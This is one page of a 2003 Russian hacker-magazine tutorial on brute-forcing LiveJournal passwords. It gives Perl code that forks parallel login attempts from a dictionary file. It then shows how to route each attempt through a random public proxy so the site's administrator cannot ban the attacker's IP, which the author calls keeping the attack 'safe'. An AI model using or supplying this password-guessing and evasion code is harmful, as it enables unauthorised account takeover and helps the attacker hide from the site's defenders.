Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #58, ОКТЯБРЬ 2003 г.

Брутфорс: полезная практика

Докучаев Дмитрий aka Forb

Xakep, номер #058, стр. 058-058-3


Дело в том, что в однопоточном режиме в каждом проходе цикла создание сокета происходит всего один раз. Но что нам мешает наплодить 10 параллельных запросов в одном цикле, а затем за один раз обработать все ответы? В результате получаем скрипт, который буквально за несколько минут сможет перебрать полумегабайтный словарь. Реализовать алгоритм нам поможет перловая функция fork(), о прелестях которой я уже не раз писал. Несложная модификация кода быстро превращает наш скрипт в реактивный переборщик ;).

Таблица2: Параллельный алгоритм переборщика

while($pass=<file>) { # По каждому слову в файле

chomp($pass); # Обрезаем символ \n

push(@threads,$pass); # И заносим его в отдельный массив

if (scalar @threads eq $threads-1) {

for ($j=0;$j<=$threads-1;$j++) {

if ($pid=fork()) { # Делаем fork()

push(@forked, $pid);

} else {

crack($threads[$j]); # Переходим на процедуру crack

exit; # Завершаем подпроцесс

}

}

killall(); # Убиваем все порожденные процессы

}

}

Если запустить модифицированный брутфорсер (ljbrut2.pl), то итоговое время перебора паролей уменьшится в несколько раз по сравнению с первой программой. Это объясняется тем, что происходит не последовательный перебор, а порождение нескольких независимых подпроцессов, каждый из которых соединяется с удаленным сервером. Переменная $threads, определяющая максимальное количество потоков, задается пользователем из командной строки либо может быть изменена в начале скрипта.

Безопасность

Я не зря акцентировал твое внимание на недостатках этого метода. Если админ обнаружит несколько тысяч одинаковых соединений в логах с твоего адреса, то он просто забанит твой ip. Но я не говорил, что при этом невозможно его защитить. Самый рабочий вариант - использовать подготовленный листинг рабочих прокси-серверов (найти их ты можешь, например, на http://proxycheck.spylog.ru). Для нашей безопасности просто возьмем случайный прокси из листа, через который законнектимся на ливжурнал. Если проксик дохлый - повторим операцию и заменим его на работоспособный.

Таблица3: Вариант кода для работы с proxy-серверами

if ($opt_p) { # Если есть опция -p командной строки

open(proxy, $proxylist) || die "cant find proxylist\n";

@proxies=<proxy>; # Считываем прокси из файла

close (proxy); # И закрываем

}

sub crack {

my $pass=shift; # Выцепляем параметр $pass

($server, $port)=split(':',$proxies[rand(int(scalar @proxies))])

if ($opt_p); # Берем рандомную строку из массива @proxies

$socket=IO::Socket::INET->new(PeerAddr => $server,

PeerPort => $port,

Proto => tcp)

or crack($pass);

# Создаем соединение с livejournal.com

# либо рекурсивно вызываем процедуру

...

}

Теперь можно с уверенностью сказать, что брутфорс будет работать быстро и безопасно. По крайней мере, если не злоупотреблять им. Ведь прокси-сервера тоже могут писать логи...

Назад на стр. 058-058-2  Содержание  Вперед на стр. 058-058-4